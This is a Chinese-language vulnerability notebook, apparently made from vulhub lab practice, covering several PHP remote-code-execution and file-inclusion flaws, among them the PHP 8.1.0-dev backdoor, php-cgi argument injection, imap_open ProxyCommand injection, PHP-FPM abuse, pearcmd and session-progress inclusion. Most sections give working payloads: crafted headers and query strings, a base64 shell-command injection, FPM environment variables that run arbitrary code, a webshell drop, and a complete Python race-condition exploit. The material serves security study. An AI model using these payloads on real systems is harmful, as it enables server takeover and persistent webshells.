8.1-backdoor
漏洞描述
PHP 8.1.0-dev 版本在2021年3月28日被植入后门,但是后门很快被发现并清除。当服务器存在该后门时,攻击者可以通过发送User-Agentt头来执行任意代码。
payload:
在请求头中插入
User-Agentt: zerodium+命令
例如
User-Agentt: zerodiumphpinfo();
CVE-2012-1823(PHP-CGI远程代码执行漏洞)
PHP SAPI 与运行模式
php-cgi也是一个sapi。在远古的时候,web应用的运行方式很简单,web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork出一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行,这种执行方式一般就被称为cgi,在安装Apache的时候默认有一个cgi-bin目录,最早就是放置这些cgi脚本用的。
php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。也就说,我们可以像perl一样,让web容器直接fork一个php-cgi进程执行某脚本;也可以在后台运行php-cgi -b 127.0.0.1:9000(php-cgi作为fastcgi的管理器),并让web容器用fastcgi协议和9000交互。
漏洞成因
用户请求的querystring(查询字符串,一般是对http请求的所带的数据进行解析)被作为了php-cgi的参数,最终导致了一系列结果
RFC3875中规定,当querystring中不包含没有解码的=
号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能。
于是就导致了php不光可以通过命令行参数的方式传入php-cgi,也可以通过querystring的方式传入。
利用条件
只出现在cgi模式运行的php中。影响范围 php < 5.3.12 或 php < 5.4.2
漏洞利用
参数:
-c
指定php.ini文件的位置-n
不要加载php.ini文件-d
指定配置项-b
启动fastcgi进程-s
显示文件源码-T
执行指定次该文件-h
和-?
显示帮助
传入-s
即可显示源码
通过-d指定auto_prepend_file来制造任意文件包含漏洞,同时需要将allow_url_include设置为on,执行任意代码(注意空格用+代替,=用%3d代替)
?-d+allow_url_include=on+-d+auto_prepend_file=php://input
CVE-2018-19518- imap 远程命令执行
漏洞成因
PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。利用此漏洞的功能代码是Metasploit Framework的一部分。
关于IMAP
Internet消息访问协议(IMAP)是电子邮件客户端用于通过TCP / IP连接从邮件服务器检索电子邮件的Internet标准协议。IMAP由Mark Crispin于1986年设计为远程邮箱协议,与广泛使用的POP(一种用于检索邮箱内容的协议)形成对比。目前,IMAP由RFC 3501定义规格。IMAP的设计目标是允许多个电子邮件客户端完全管理电子邮件收件箱。因此,客户端通常会在服务器上保留消息,直到用户明确删除它们为止。IMAP服务器通常侦听端口号143.默认情况下,为IMAP over SSL(IMAPS)分配端口号993。当然,PHP支持IMAP开箱即用。
PHP调用:
resource imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] )
其中mailbox参数来定义连接的服务器{[host]}:[port][flags]}[mailbox_name]
IMAP允许使用预先验证的ssh或rsh会话自动登录服务器。当不需要使用该功能时使用的标志然后默认尝试使用该标志
条件
需要具有对目标系统的用户级访问权限,
payload
x+-oProxyCommand=echo echo'1234567890'>/tmp/test0001|base64 -d|sh}
x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=123&password=123
进入容器内可以看到文件被写入
CVE-2019-11043(PHP远程代码执行漏洞)
漏洞成因
CVE-2019-11043漏洞是PHP的一个远程代码执行漏洞,该漏洞产生与Nginx利用fastcgi_split_path_info在处理带有 %0a 的请求时,会因为遇到换行符(%0a)导致PATH_INFO为空,最终可导致任意代码执行。
存在漏洞的Nginx中location配置
location ~ [^/].php(/|$) {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_split_path_info ^(.+?.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
其中关键为fastcgi_split_path_info ^(.+?.php)(/.*)$
如果用户传入的信息存在换行符(URL编码后为%0a),则会破坏fastcgi_split_path_info参数后面的正则表达式匹配,从而导致PATH_INFO变量为空,从而触发漏洞。
(这里本想自己构造payload进行漏洞复现,但没有找到相关文章,工具使用go编写,还没有参透原理)
漏洞复现
使用工具:https://github.com/neex/phuip-fpizdam
编译,配置工具
攻击
工具是使用完成后,在/tmp目录下,写入了一个webshell
在index页面下传入a,即可rce
FPM(FPM未授权访问漏洞)
PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。
当fpm是根据SCRIPT_FILENAME来执行php文件,如果这文件不存在,fpm直接返回404
在fpm某个版本之前,可以将SCRIPT_FILENAME
的值指定为任意后缀文件,比如/etc/passwd
;但后来,fpm的默认配置中增加了一个选项security.limit_extensions
:
; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7
其限定了只有某些后缀的文件允许被fpm执行,默认是.php
。所以,当我们再传入/etc/passwd
的时候,将会返回Access denied.
:
由于这个配置项的限制,如果想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。可以找默认原安装后可能存在的php文件,比如/usr/local/lib/php/PEAR.php
,使得传入的代码能够被作为php代码进行处理
利用环境变量达到任意代码执行
PHP.INI中有两个配置项:auto_prepend_file和auto_append_file
auto_prepend_file
是告诉PHP,在执行目标文件之前,先包含auto_prepend_file
中指定的文件;auto_append_file
是告诉PHP,在执行完成目标文件后,包含auto_append_file
指向的文件。
auto_prepend_file
为php://input
,那么就等于在执行任何php文件前都要包含一遍POST的内容。只需要把待执行的代码放在Body中,他们就能被执行了。(还需要开启远程文件包含选项allow_url_include
)
而这两个配置项可以用PHP_VALUE
和PHP_ADMIN_VALUE
这两个环境变量进行设置PHP_VALUE
可以设置模式为PHP_INI_USER
和PHP_INI_ALL
的选项,PHP_ADMIN_VALUE
可以设置所有选项(disable_functions
除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)
所以传入如下环境变量
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
然后将需要执行的代码放在body中,即可执行任意代码
exp:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
reference:P牛
inclusion(利用phpinfo进行临时文件包含漏洞)
利用条件
存在或可以构造phpinfo界面
file_uploads为on
存在文件包含
漏洞原理
在对任意PHP文件发送POST数据包时,无论是否存在处理文件的代码逻辑,PHP都会先将这个文件保存为一个临时文件,一般位于系统临时目录,临时目录由php.ini的upload_tmp_dir
属性指定,假如upload_tmp_dir
的路径不可写,PHP会上传到系统默认的临时目录中,文件名为PHP开头,后跟6个随机字符,在请求结束后,文件被删除
同时,因为phpinfo页面会将当前请求上下文中的所有变量打印出来,所以当向phpinfo页面发送文件时,即可在界面中找到包含$_files
变量的内容
$_FILES超级全局变量很特殊,他是预定义超级全局数组中唯一的二维数组。其作用是存储各种与上传文件有关的信息
一般,文件包含和上传文件分为两步进行操作,大致漏洞利用流程为:上传文件->phpinfo页面获得临时文件名->得到结果进行文件包含
由于在写入临时文件和删除文件中存在着短暂的时间差,因此可以利用条件竞争利用该文件
增大条件竞争成功概率:
- 增大文件包含线程数,让文件包包含的操作尽可能早于临时文件被删除
- 在请求头,querystring,中插入大量垃圾字符使得phpinfo页面更大,php默认输出缓冲区为4096,即每次返回4096个字节给socket连接
漏洞利用
启动vulhub漏洞环境后,存在两个页面
一个phpinfo.php
一个lfi.php
首先进行测试文件上传并打印phpinfo查看是否存在$_FILES全局变量
测试脚本
import requests
files = {
'file': ("test.php","<?php echo 'test'?>")
}
url = "http://x.x.x.x/phpinfo.php"
r = requests.post(url=url, files=files, allow_redirects=False)
print(r.text)
运行脚本后可以发现确实存在临时文件名。临时文件名为php0C9msZ
,在/tmp
目录下
使用P牛的EXP
写入一个<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>r
使得在文件包含这个页面时在tmp目录下写入一个永久的webshell
exp:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
跑完脚本后webshell成功
pear.cmd
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要在编译PHP的时候指定--with-pear
才会安装。(参考CVE-2012-1823)
不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php
。
使用querystring传入命令创建webshell(需要使用yakit或者bp进行发包,浏览器自动url编码无法正常解析)
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/parar.php
session文件包含
PHP中可以通过session progress功能实现临时文件的写入。
利用条件
- 目标环境开启了
session.upload_progress.enable
选项 - 发送一个文件上传请求,其中包含一个文件表单和一个名字是
PHP_SESSION_UPLOAD_PROGRESS
的字段 - 请求的Cookie中包含Session ID
PHP在开启了session.upload_progress.enable
后(在包括Docker的大部分环境下默认是开启的),将会把用户上传文件的信息保存在Session中,而PHP的Session默认是保存在文件里的。(当只上传一个文件时,不会遗留session文件,所以表单里必须有两个以上的文件上传)
利用脚本
import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait
target = 'http://192.168.1.162:8080/index.php'
session = requests.session()
flag = 'helloworld'
def upload(e: threading.Event):
files = [
('file', ('load.png', b'a' * 40960, 'image/png')),
]
data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}
while not e.is_set():
requests.post(
target,
data=data,
files=files,
cookies={'PHPSESSID': flag},
)
def write(e: threading.Event):
while not e.is_set():
response = requests.get(
f'{target}?file=/tmp/sess_{flag}',
)
if flag.encode() in response.content:
e.set()
if __name__ == '__main__':
futures = []
event = threading.Event()
pool = ThreadPoolExecutor(15)
for i in range(10):
futures.append(pool.submit(upload, event))
for i in range(5):
futures.append(pool.submit(write, event))
wait(futures)